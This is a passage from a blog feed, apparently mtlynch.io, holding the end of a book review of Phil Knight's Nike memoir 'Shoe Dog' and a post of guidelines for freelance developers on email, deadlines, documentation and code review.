&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>I laughed out loud several times while reading it, which is rare for me while reading.&lt;/li>
&lt;li>I related strongly to Knight&amp;rsquo;s experience as a founder new to manufacturing and importing.&lt;/li>
&lt;li>As a casual runner, it was motivating to see someone describe running with such love and reverence.&lt;/li>
&lt;li>It was interesting to see how closely Steve Prefontaine was tied to Nike.&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>I felt sorry for his employees.
&lt;ul>
&lt;li>It seemed like they worked so much harder than Knight and sacrificed more for Nike, yet he kept most of the rewards.&lt;/li>
&lt;li>Knight deliberately withheld praise and encouragement, even when employees outright begged him for approval.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>A lot of the Asian characters seemed more like caricatures who spoke in stereotypical broken English.
&lt;ul>
&lt;li>In fairness, almost all of the people in the book feel cartoonishly embellished.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The way he meets his wife is presented as cutesy and romantic but would today be egregious sexual harassment.&lt;/li>
&lt;li>Knight built a lot of his business by lying to partners and employees.&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h3 id="origins">Origins&lt;/h3>
&lt;ul>
&lt;li>Knight was a runner in high school and college.
&lt;ul>
&lt;li>In college, he trained under &lt;a href="https://en.wikipedia.org/wiki/Bill_Bowerman">Bill Bowerman&lt;/a>, one of the most respected running coaches in the world.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Knight originally started Nike under the name Blue Ribbon Sports.
&lt;ul>
&lt;li>Blue Ribbon formed as the US distributor for a Japanese shoe company called Onitsuka.&lt;/li>
&lt;li>Knight lied to Onitsuka, telling them that Blue Ribbon was an existing, successful company. In reality, he formed the company specifically to import their shoes.&lt;/li>
&lt;li>At the time (1963), Adidas and Puma dominated the US shoe market. Japan was just beginning to reach maturity in manufacturing capabilities, and they were producing sneakers at high quality and low costs.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Knight partnered with Bowerman after the first shoe samples arrived from Japan.
&lt;ul>
&lt;li>They formed a 51/49 partnership, with Knight as the majority owner.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Knight failed to sell to sporting goods stores, but he successfully sold shoes by attending track meets and selling to runners directly.&lt;/li>
&lt;/ul>
&lt;h3 id="management-without-praise">Management without praise&lt;/h3>
&lt;ul>
&lt;li>Knight&amp;rsquo;s stinginess with praise is a recurring theme in the book.
&lt;ul>
&lt;li>At several points, his employees were struggling with morale and begged him for encouragement, but he ignored them.&lt;/li>
&lt;li>He believes he learned this behavior from his father and from Bill Bowerman, who he saw as a father figure. Both men gave praise sparingly.&lt;/li>
&lt;li>Knight believed that this inspired people to work harder.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="growth-outpacing-equity">Growth outpacing equity&lt;/h3>
&lt;ul>
&lt;li>Throughout the company&amp;rsquo;s history, Knight would keep nearly zero equity.
&lt;ul>
&lt;li>As soon as he sold a batch of imported sneakers, he&amp;rsquo;d use 100% of his cash to buy more inventory.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Knight took bank loans to cover costs, but banks were always dissatisfied with his equity.
&lt;ul>
&lt;li>Banks felt that his equity was too low relative to his growth and that he should be holding more cash.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Venture capital wasn&amp;rsquo;t prevalent in the 1960s.
&lt;ul>
&lt;li>In the 70s, Knight sought VC funding for his sneaker company, but VCs were primarily interested in high-tech companies, so they found the sneaker business unappealing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>To earn cash for the business, Knight took a full-time job as an accountant.
&lt;ul>
&lt;li>Through his job, he audited companies and found that insufficient equity was one of the most common reasons for a company to fall into bankruptcy.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="marriage-to-penny-knight">Marriage to Penny Knight&lt;/h3>
&lt;ul>
&lt;li>Knight met his wife Penny because she was his student when he was teaching at Portland State University.
&lt;ul>
&lt;li>He had a crush on her, so he offered her a job at his company.&lt;/li>
&lt;li>After she started working for him, he asked her out, and they began dating, eventually marrying.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;div class="notice notice-info">
 This was a weird dynamic, as Knight held power over Penny in so many dimensions. When they began dating, he was her professor, her academic advisor, and her employer.
&lt;/div>

&lt;h3 id="swoosh-logo">Swoosh logo&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Carolyn_Davidson_(graphic_designer)">Carolyn Davidson&lt;/a> designed the famous Nike Swoosh logo because she happened to meet Knight while she was a student at Portland State University.
&lt;ul>
&lt;li>Nike paid Davidson $35 for the logo.&lt;/li>
&lt;li>They had no idea what kind of logo they wanted, so they told Davidson to draw &amp;ldquo;motion.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;div class="notice notice-info">
 Knight doesn&amp;rsquo;t mention it in the book, but he later &lt;a href="https://www.oregonlive.com/business/2011/06/nikes_swoosh_brand_logo_hits_4.html">gave her 500 shares of Nike stock&lt;/a> as a thank you.
&lt;/div>

&lt;h3 id="blue-ribbon-becomes-nike">Blue Ribbon becomes Nike&lt;/h3>
&lt;ul>
&lt;li>Nike&amp;rsquo;s big turning point came in 1971 when they graduated from a shoe importer to a shoe manufacturer.
&lt;ul>
&lt;li>Their original Japanese supplier, Onitsuka, attempted a hostile takeover of the company.&lt;/li>
&lt;li>Nike was able to get financing from Nissho, a different Japanese company, to manufacture their own sneakers.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When Knight changed the company&amp;rsquo;s name from Blue Ribbon to Nike, it was a last-minute, impulse decision.
&lt;ul>
&lt;li>The heads of the company were deciding between the names &amp;ldquo;Falcon&amp;rdquo; and &amp;ldquo;Dimension Six.&amp;rdquo;&lt;/li>
&lt;li>The name &amp;ldquo;Nike&amp;rdquo; appeared in a dream to Jeff Johnson, Blue Ribbon&amp;rsquo;s first employee.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="steve-prefontaine">Steve Prefontaine&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Steve_Prefontaine">Steve &amp;ldquo;Pre&amp;rdquo; Prefontaine&lt;/a> was a superstar runner in the 1970s.&lt;/li>
&lt;li>He was tightly tied to Nike because Bowerman was his college coach and Knight hired Pre so that he&amp;rsquo;d have money to support himself while training for the Olympics.
&lt;ul>
&lt;li>Earning money from races or endorsements would have disqualified him from the Olympics.&lt;/li>
&lt;li>Unofficially, Pre was Nike&amp;rsquo;s second-ever athlete endorsement.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Pre died in a car crash after leaving a party thrown by an early Nike employee, with many other Nike employees in attendance.&lt;/li>
&lt;/ul>
&lt;h3 id="pre-selling-for-capital">Pre-selling for capital&lt;/h3>
&lt;ul>
&lt;li>One of the techniques Nike used to increase their cash holdings was to negotiate discounts in exchange for pre-sales with long lead times.
&lt;ul>
&lt;li>They offered retailers a 7% discount to put their orders in six months in advance.&lt;/li>
&lt;li>Pre-selling gave Nike cash early and made their manufacturing more predictable.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="nike-and-nissho">Nike and Nissho&lt;/h3>
&lt;ul>
&lt;li>When Onitsuka attempted a hostile takeover of Nike, the company that saved Nike was Nissho, another Japanese company that provided financing.&lt;/li>
&lt;li>In 1975, Bank of California suddenly dropped Nike as clients and closed their line of credit.
&lt;ul>
&lt;li>Bank of California was upset that Nike focused too much on growth and kept so little in equity.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Nissho once again rescued Nike by providing them more fiancing, under the condition that Nike agree to a full audit.&lt;/li>
&lt;li>During the audit, Nissho discovered that Nike had lied to them about how they were spending their previous loan.
&lt;ul>
&lt;li>Nike had secretly used the money to build a new factory while representing to Nissho that they were still using third-party manufacturers.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Nissho apparently didn&amp;rsquo;t mind the deception. The Nissho manager responsible for the Nike relationship told Knight, &amp;ldquo;There are worse things than ambition.&amp;rdquo;&lt;/li>
&lt;li>After the audit, Nissho assumed all of Nike&amp;rsquo;s debt to Bank of California.&lt;/li>
&lt;li>Nissho was so loyal to Nike that they withdrew from a separate deal to punish Bank of California.
&lt;ul>
&lt;li>Bank of California had been pursuing a deal to manage one of Nissho&amp;rsquo;s banks in San Francisco.&lt;/li>
&lt;li>After the Nike incident, Nissho told Bank of California that it cost them the San Francisco deal.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="shoe-dog">Shoe dog&lt;/h3>
&lt;ul>
&lt;li>&amp;ldquo;Shoe dog&amp;rdquo; is the industry term for a person who dedicates their life to the design and manufacturing of shoes.&lt;/li>
&lt;/ul>
&lt;h3 id="nike-airs">Nike Airs&lt;/h3>
&lt;ul>
&lt;li>M. Frank Rudy was an aerospace engineer who approached Nike with the idea of putting air bubbles in sneakers.&lt;/li>
&lt;li>Knight was extremely skeptical at first because he felt it unlikely that such a dramatic design change could improve an invention as mature as shoes.&lt;/li>
&lt;li>Knight tested the soles on a 6-mile run and realized how much difference they made.&lt;/li>
&lt;li>Nike Airs soon became one of Nike&amp;rsquo;s signature products.&lt;/li>
&lt;/ul>
&lt;h3 id="ld1000-recall">LD1000 recall&lt;/h3>
&lt;ul>
&lt;li>In 1977, Nike released the LD1000, a shoe with a flared heel that was supposed to reduce pressure on a runner&amp;rsquo;s knees.&lt;/li>
&lt;li>They later found out that if the runner didn&amp;rsquo;t land just right, the shoe would increase the likelihood of various running injuries.&lt;/li>
&lt;li>Nike issued a recall and was surprised to discover that it didn&amp;rsquo;t affect their customers&amp;rsquo; loyalty to them.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>We issued a recall and braced ourselves for a public backlash — but it never came. On the contrary, we heard nothing but gratitude. No other shoe company was trying new things, so our efforts, successful or not, were seen as noble. All innovation was hailed as progressive, forward-thinking. Just as failure didn&amp;rsquo;t deter us, it didn&amp;rsquo;t seem to diminish the loyalty of our customers.&lt;/p>&lt;/blockquote>
&lt;h3 id="american-selling-price-controversy">American Selling Price controversy&lt;/h3>
&lt;ul>
&lt;li>As Nike was preparing for its IPO, the US Customs Office sent them a surprise bill for $25M in retroactive tariffs under the &lt;a href="https://en.wikipedia.org/wiki/Fordney%E2%80%93McCumber_Tariff">American Selling Price&lt;/a> law.&lt;/li>
&lt;li>The law says that import duties on nylon shoes are 20% of the manufacturing cost.
&lt;ul>
&lt;li>The hitch was that if a US competitor is selling a similar shoe, the import duty jumps to 20% of the competitor&amp;rsquo;s sale price.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Knight believed that his competitors had deliberately produced an expensive &amp;ldquo;similar&amp;rdquo; shoe to weaponize this law against Nike.
&lt;ul>
&lt;li>A $25M tariff at the time would have bankrupted Nike.&lt;/li>
&lt;li>Enforcement of the rule would have increased Nike&amp;rsquo;s import duties by 40%&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Nike&amp;rsquo;s response
&lt;ul>
&lt;li>At Knight&amp;rsquo;s behest, Oregon&amp;rsquo;s US Senators petitioned the US Treasury to drop the tariff.&lt;/li>
&lt;li>Nike released its own locally-manufactured &amp;ldquo;similar&amp;rdquo; shoe and sold it for just above cost to reduce the &amp;ldquo;similar shoe&amp;rdquo; calculation.&lt;/li>
&lt;li>Nike ran TV ads framing it as a David and Goliath story of the US government trying to crush free enterprise.&lt;/li>
&lt;li>Nike filed a $25M antitrust suit accusing its competitors of collusion.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Nike ultimately settled for $9M.
&lt;ul>
&lt;li>Knight was dissatisfied with the settlement and fought longer than he should have for a settlement of $0.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="nikes-ipo">Nike&amp;rsquo;s IPO&lt;/h3>
&lt;ul>
&lt;li>When Nike went public, Nike executives and early employees were allocated 56% of shares.
&lt;ul>
&lt;li>Knight kept 46% of shares (worth $178M at the time), and the rest split the remaining 10%.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>There wasn&amp;rsquo;t a word of dissent or complaint. Ever.&lt;/p>&lt;/blockquote>
&lt;h3 id="present-day">Present-day&lt;/h3>
&lt;ul>
&lt;li>The last chapter of the book describes Knight&amp;rsquo;s life in 2007.
&lt;ul>
&lt;li>Nike has become a huge corporation.&lt;/li>
&lt;li>Knight is a billionaire, and he casually chats with Bill Gates and Warren Buffet.&lt;/li>
&lt;li>He has stepped down as Nike CEO.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The chapter mostly namedrops all the famous people that Knight knows.
&lt;ul>
&lt;li>This chapter feels awkwardly vain, but I admit that I enjoyed seeing the more personal glimpses into famous personalities.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When Knight&amp;rsquo;s son died in a scuba diving accident, Tiger Woods was the first athlete to call offering condolences.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>Every Nike athlete wrote, emailed, phoned. Every single one. But the first was Tiger. His call came in at 7:30 a.m. I will never, ever forget. And I will not stand for a bad word spoken about Tiger in my presence.&lt;/p>&lt;/blockquote></content:encoded></item><item><title>Guidelines for Freelance Developers Working with Me</title><link>https://mtlynch.io/freelancer-guidelines/</link><pubDate>Fri, 12 Mar 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/freelancer-guidelines/</guid><description>&lt;p>I&amp;rsquo;ve been hiring software developers and other freelancers for the past seven years. Even though I write most code myself, hiring other developers is a tremendous force multiplier that frees up time for other parts of my business.&lt;/p>
&lt;p>Freelancers work well if you manage the relationship properly, but there are hundreds of ways it can go wrong. The best way to start things off is by reaching a shared understanding of your freelancer-client relationship.&lt;/p></description><content:encoded>&lt;p>I&amp;rsquo;ve been hiring software developers and other freelancers for the past seven years. Even though I write most code myself, hiring other developers is a tremendous force multiplier that frees up time for other parts of my business.&lt;/p>
&lt;p>Freelancers work well if you manage the relationship properly, but there are hundreds of ways it can go wrong. The best way to start things off is by reaching a shared understanding of your freelancer-client relationship.&lt;/p>
&lt;p>The document below explains what it&amp;rsquo;s like to work with me as a freelance developer. I include it in every dev job listing I publish, and I pay contractors to read it closely after we begin working together. It attracts candidates with compatible working styles and reduces ramp-up time after I hire them.&lt;/p>
&lt;p>I&amp;rsquo;m publishing my guidelines under the &lt;a href="https://creativecommons.org/licenses/by/4.0/">Creative Commons BY-4.0 license&lt;/a>, so you&amp;rsquo;re welcome to reuse or adapt them.&lt;/p>
&lt;hr>
&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>This document explains the processes and conventions I use when working with freelance developers.&lt;/p>
&lt;p>If you&amp;rsquo;re reading this document before working with me, feel free to skim it to see if this working style matches yours. If you&amp;rsquo;re reading it while on an active contract with me, read it thoroughly and bill me for the time.&lt;/p>
&lt;h2 id="golden-rule">Golden rule&lt;/h2>
&lt;p>I want to treat you how I&amp;rsquo;d like to be treated.&lt;/p>
&lt;h2 id="communication">Communication&lt;/h2>
&lt;p>I value effective communication above all else.&lt;/p>
&lt;p>Err on the side of overcommunication. When sharing a solution, it&amp;rsquo;s helpful to hear why you chose it and what other avenues you explored.&lt;/p>
&lt;h3 id="resolve-emails-quickly">Resolve emails quickly&lt;/h3>
&lt;p>I communicate primarily over email.&lt;/p>
&lt;p>My email style is what Cal Newport describes as &lt;a href="https://www.calnewport.com/blog/2016/04/19/write-longer-emails/">&amp;ldquo;process-centric.&amp;rdquo;&lt;/a> In short, emails usually represent a task or a question, and we&amp;rsquo;re aiming to resolve it with as few back-and-forths as possible. This requires us both to compose emails thoughtfully rather than firing off the quickest response that clears the thread from our inbox.&lt;/p>
&lt;h4 id="bad-email-sequence">Bad Email Sequence&lt;/h4>
&lt;p>The following is a fictional example of a poor email sequence. Instead of investing time up front to think about the information they need, the freelancer dribbles out questions one by one.&lt;/p>
&lt;div class="email-exchange">
 &lt;div class="email freelancer-email">
&lt;p>&lt;strong>Freelancer&lt;/strong>: What format do you prefer for the image? PNG or JPEG?&lt;/p>
 &lt;/div>
 &lt;div class="email manager-email">
&lt;p>&lt;strong>Me&lt;/strong>: PNG&lt;/p>
 &lt;/div>
&lt;/div>
&lt;div class="email-exchange">
 &lt;div class="email freelancer-email">
&lt;p>&lt;strong>Freelancer&lt;/strong>: What size should it be?&lt;/p>
 &lt;/div>
 &lt;div class="email manager-email">
&lt;p>&lt;strong>Me&lt;/strong>: 800x600px&lt;/p>
 &lt;/div>
&lt;/div>
&lt;div class="email-exchange">
 &lt;div class="email freelancer-email">
&lt;p>&lt;strong>Freelancer&lt;/strong>: Should it rescale on smaller devices?&lt;/p>
 &lt;/div>
 &lt;div class="email manager-email">
&lt;p>&lt;strong>Me&lt;/strong>: Yes, it should be 400x300px on viewports smaller than 768px.&lt;/p>
 &lt;/div>
&lt;/div>
&lt;h4 id="good-email-sequence">Good Email Sequence&lt;/h4>
&lt;p>In contrast, this email sequence answers the same questions as above, but in a planned, efficient way.&lt;/p>
&lt;div class="email freelancer-email">
&lt;p>&lt;strong>Freelancer&lt;/strong>: I&amp;rsquo;d love your input on the image. Can you let me know your preferences on the following?&lt;/p>
&lt;ul>
&lt;li>Format (PNG or JPEG)?&lt;/li>
&lt;li>Size (in pixels)?&lt;/li>
&lt;li>Should it rescale on smaller devices?&lt;/li>
&lt;/ul>
&lt;/div>
&lt;div class="email manager-email">
&lt;p>&lt;strong>Me&lt;/strong>: Thanks for the well-thought-out questions!&lt;/p>
&lt;ul>
&lt;li>The format should be PNG.&lt;/li>
&lt;li>On viewports smaller than 768px, the size should be 400x300px. Otherwise, the size should be 800x600px.&lt;/li>
&lt;/ul>
&lt;/div>
&lt;h3 id="email-response-time">Email response time&lt;/h3>
&lt;p>I expect responses to emails within one business day. In other words, if I email you at 3pm on a Tuesday, I expect a response by 3pm Wednesday. If you don&amp;rsquo;t have a complete answer, respond to acknowledge the message and provide an ETA for the full response.&lt;/p>
&lt;p>It&amp;rsquo;s okay for response time to run longer than one day occasionally, but it should be the exception and not the rule. Expect the same from me.&lt;/p>
&lt;h3 id="meetings">Meetings&lt;/h3>
&lt;p>Meetings are useful for topics that are inefficient or impossible to communicate in writing. They come at a significant cost — meetings interrupt focus and constrain schedules, so I keep them to a minimum.&lt;/p>
&lt;p>I use emails to communicate facts and meetings to discuss topics interactively. For example, if we review a design document, we don&amp;rsquo;t need to read it together live. Instead, we can read the document beforehand and reserve the meeting time for live discussion.&lt;/p>
&lt;p>I&amp;rsquo;ll also schedule meetings once or twice a month for casual face-time together. Email-only communication can make things feel &lt;a href="https://mtlynch.io/human-code-reviews-2/#talk-it-out">impersonal and tense&lt;/a>.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Discussion Topic&lt;/th>
 &lt;th>Notes&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&amp;ldquo;Can we schedule a meeting to discuss the deadline for this project?&amp;rdquo;&lt;/td>
 &lt;td>&lt;span class="bad-prefix">BAD&lt;/span>: This is a simple question that doesn&amp;rsquo;t require a meeting.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&amp;ldquo;It&amp;rsquo;s going to be hard for you to review my next pull request. Can we meet so I can explain it to you?&amp;rdquo;&lt;/td>
 &lt;td>&lt;span class="bad-prefix">BAD&lt;/span>: If the code is too complicated to understand, a &lt;a href="https://mtlynch.io/code-review-love/#4-answer-questions-with-the-code-itself">meeting is not the answer&lt;/a>.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&amp;ldquo;I have an idea for a new architecture. Can we hop on a call to go over it?&amp;rdquo;&lt;/td>
 &lt;td>&lt;span class="bad-prefix">BAD&lt;/span>: I&amp;rsquo;d rather start with a written explanation and then discuss after I&amp;rsquo;ve read it.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&amp;ldquo;Your design document calls for us to use &lt;a href="https://www.postgresql.org/">Postgres&lt;/a>, but I&amp;rsquo;d like to understand the constraints and talk about other options.&amp;rdquo;&lt;/td>
 &lt;td>&lt;span class="good-prefix">GOOD&lt;/span>: This is a complicated decision that likely requires many little back-and-forths, so a live discussion will be more efficient than email.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&amp;ldquo;You&amp;rsquo;ve given me feedback in code reviews about &amp;lsquo;cohesion,&amp;rsquo; but I feel like we&amp;rsquo;re still not quite on the same page. Can we meet to discuss it?.&amp;rdquo;&lt;/td>
 &lt;td>&lt;span class="good-prefix">GOOD&lt;/span>: If we&amp;rsquo;ve tried to communicate something in writing, and it&amp;rsquo;s not working, a meeting is an excellent way to hash it out.&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="interviews">Interviews&lt;/h2>
&lt;p>I never conduct formal interviews to make a hiring decision.&lt;/p>
&lt;p>I&amp;rsquo;ll ask to see examples of previous work, or I may ask a few questions over email, but I&amp;rsquo;m primarily interested in how well we work together. If you&amp;rsquo;re a strong candidate, I&amp;rsquo;ll set up a narrowly-scoped job at your regular pay rate. People generally refer to this style as &amp;ldquo;contract-to-hire.&amp;rdquo;&lt;/p>
&lt;p>If I ask you to begin a paid trial assignment, I&amp;rsquo;ll pay for your time even if we decide not to work together afterward. The only exception is if you fail to make a good-faith effort on the assignment (e.g., you bill ten hours on a programming task and deliver zero code).&lt;/p>
&lt;h2 id="due-diligence">Due Diligence&lt;/h2>
&lt;p>Freelancers provide the most value when they minimize my time overseeing their work. This requires due diligence before reaching out with questions.&lt;/p>
&lt;p>You should feel comfortable asking for help, but I expect you to answer questions on your own where possible. If you&amp;rsquo;re unable to solve the problem, let me know how you&amp;rsquo;ve tried.&lt;/p>
&lt;div class="example bad-example">
&lt;p>&lt;strong>Bad Questions&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>How do I install Flask on my computer?&lt;/li>
&lt;li>How do I link to specific sections of a Google Doc?&lt;/li>
&lt;li>What significance does the number 443 have in our server configuration?&lt;/li>
&lt;/ul>
&lt;/div>
&lt;div class="example good-example">
&lt;p>&lt;strong>Good Questions&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>I&amp;rsquo;m having trouble understanding section 3 of the spec. Does &amp;ldquo;client&amp;rdquo; refer to the end-user or a client of the API?&lt;/li>
&lt;li>When I try to install your software, I get the error message &lt;code>FooBarBaz&lt;/code>. I&amp;rsquo;ve re-read the installation guide and searched the open issues, but I can&amp;rsquo;t figure out what&amp;rsquo;s going wrong. Do you know what the problem is?&lt;/li>
&lt;/ul>
&lt;/div>
&lt;h2 id="availability">Availability&lt;/h2>
&lt;p>I don&amp;rsquo;t expect anyone to be available more than five days per week. Unless you tell me otherwise, I&amp;rsquo;ll assume you don&amp;rsquo;t work on weekends.&lt;/p>
&lt;p>I don&amp;rsquo;t work weekends or major US holidays. You&amp;rsquo;re welcome to email me on the weekend, but I won&amp;rsquo;t respond until the next business day. I try to avoid email before noon in US Eastern Time.&lt;/p>
&lt;p>You&amp;rsquo;re free to work whichever hours you like, but I&amp;rsquo;d like you to have some overlap with my working hours, which are 10am-6:30pm ET.&lt;/p>
&lt;p>I don&amp;rsquo;t expect you to work a fixed schedule each week, but the more I can predict your hours, the easier it is to prepare tasks and feedback that coincides with your availability.&lt;/p>
&lt;h2 id="feedback">Feedback&lt;/h2>
&lt;p>It&amp;rsquo;s common for me to ask for feedback during or after a project. Freelancers have valuable ideas for improving processes or work dynamics, but they sometimes don&amp;rsquo;t feel comfortable sharing until they&amp;rsquo;re asked directly.&lt;/p>
&lt;p>My questions are generally:&lt;/p>
&lt;ul>
&lt;li>Are there changes that would make the work smoother or more enjoyable?&lt;/li>
&lt;li>Are there types of work you want to do more of? Less of?&lt;/li>
&lt;/ul>
&lt;h2 id="deadlines">Deadlines&lt;/h2>
&lt;p>I rarely need work urgently, so I generally allow you to set your own deadlines. You&amp;rsquo;re responsible for meeting your deadlines without reminders from me.&lt;/p>
&lt;p>Don&amp;rsquo;t allow deadlines to sail by without an update. If you tell me to expect work by 3pm ET Tuesday, it causes me stress if I don&amp;rsquo;t see anything from you by Tuesday night. I&amp;rsquo;ll wonder if you completely forgot the task and you&amp;rsquo;ll have to start from scratch or if you&amp;rsquo;re almost done and will deliver results in a few hours.&lt;/p>
&lt;p>If you&amp;rsquo;re going to miss a deadline, let me know. The earlier you warn me about a schedule slip, the better. The absolute latest you should be telling me about a delay is the deadline itself.&lt;/p>
&lt;p>In general, delays are not a big deal as long as I can plan around them. If a deadline is important to me, I&amp;rsquo;ll let you know.&lt;/p>
&lt;p>When specifying deadlines, use precise, unambiguous time conventions:&lt;/p>
&lt;ul>
&lt;li>&lt;span class="good-prefix">Pretty Good&lt;/span>: I&amp;rsquo;ll send it to you by EOD Friday&lt;/li>
&lt;li>&lt;span class="good-prefix">Better&lt;/span>: I&amp;rsquo;ll send it to you by 5pm ET on Dec. 8th.&lt;/li>
&lt;li>&lt;span class="bad-prefix">Bad&lt;/span>: I&amp;rsquo;ll have it ready in the next few days.
&lt;ul>
&lt;li>Too vague.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;span class="bad-prefix">Terrible&lt;/span>: I&amp;rsquo;ll let you know when it&amp;rsquo;s ready.
&lt;ul>
&lt;li>Extremely vague&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="timeboxing">Timeboxing&lt;/h2>
&lt;p>Early in our work together, I&amp;rsquo;ll ask you to limit billable hours per week or milestone. I do this to control billing as I get a sense of your development velocity and whether we work well together.&lt;/p>
&lt;p>If you&amp;rsquo;re approaching the limit and won&amp;rsquo;t finish, reserve time to organize the work you&amp;rsquo;ve done. Send it to me in an email with an explanation of what&amp;rsquo;s complete, what&amp;rsquo;s incomplete, and how many hours you expect for the remaining work.&lt;/p>
&lt;p>I won&amp;rsquo;t pay for any time beyond the agreed hours cap.&lt;/p>
&lt;p>As we work together more, I&amp;rsquo;ll increase or eliminate the time cap to give you more autonomy.&lt;/p>
&lt;h2 id="documentation">Documentation&lt;/h2>
&lt;p>I value documentation highly.&lt;/p>
&lt;p>If a project has documented processes or GitHub templates, please follow them. If the documentation tells you to do something that seems incorrect, let me know. Don&amp;rsquo;t assume that instructions are out of date or not meant for you.&lt;/p>
&lt;p>When you begin working with me on a project, you become the new owner of its ramp-up documents. If you got stuck because something was documented poorly or not at all, please submit edits to fill the gaps.&lt;/p>
&lt;p>Thoughtfully document the code that you write. Aim to make the code self-documenting, but include source comments for information that code can&amp;rsquo;t express. Comment new code with roughly the same thoroughness as nearby code.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Number of days per week (seven) &amp;lt;-- BAD comment&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>DAYS_PER_WEEK = &lt;span style="color:#3677a9">7&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># This is a workaround for a bug in FooComponent, which crashes the process&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># if we call it immediately after writing to disk. &amp;lt;-- GOOD comment&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>time.sleep(&lt;span style="color:#3677a9">5&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="code-quality">Code quality&lt;/h2>
&lt;p>I value quality and maintainability over turnaround time.&lt;/p>
&lt;p>Once you have working code, look for opportunities to simplify or refactor the logic and make it more intuitive. If it takes you twice as long to make your code 30% simpler, that&amp;rsquo;s a net positive for me.&lt;/p>
&lt;h2 id="code-reviews">Code reviews&lt;/h2>
&lt;p>I thoroughly review all code changes and provide detailed feedback.&lt;/p>
&lt;p>My comments are not meant to criticize you or make you feel bad. I review rigorously to understand the code and bring it to a state where I can maintain it long-term.&lt;/p>
&lt;p>These articles explain my code review process:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/human-code-reviews-1/">How I review code&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/code-review-love/">How you should submit code for review&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="code-style">Code style&lt;/h2>
&lt;p>My projects adhere to Google&amp;rsquo;s code style guidelines:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://google.github.io/styleguide/pyguide.html">Python&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://google.github.io/styleguide/htmlcssguide.html">HTML/CSS&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://google.github.io/styleguide/shellguide.html">Shell&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>As much as possible, I &lt;a href="https://mtlynch.io/human-code-reviews-1/#let-computers-do-the-boring-parts">use automated tools to enforce style conventions&lt;/a>.&lt;/p>
&lt;h2 id="git">Git&lt;/h2>
&lt;p>I use Git for source control. You don&amp;rsquo;t need to be a Git expert as long as you understand basic functionality:&lt;/p>
&lt;ul>
&lt;li>Clone a repo&lt;/li>
&lt;li>Create a branch&lt;/li>
&lt;li>Make a commit&lt;/li>
&lt;li>Push and pull changes&lt;/li>
&lt;li>Rebase a commit (occasionally)&lt;/li>
&lt;/ul>
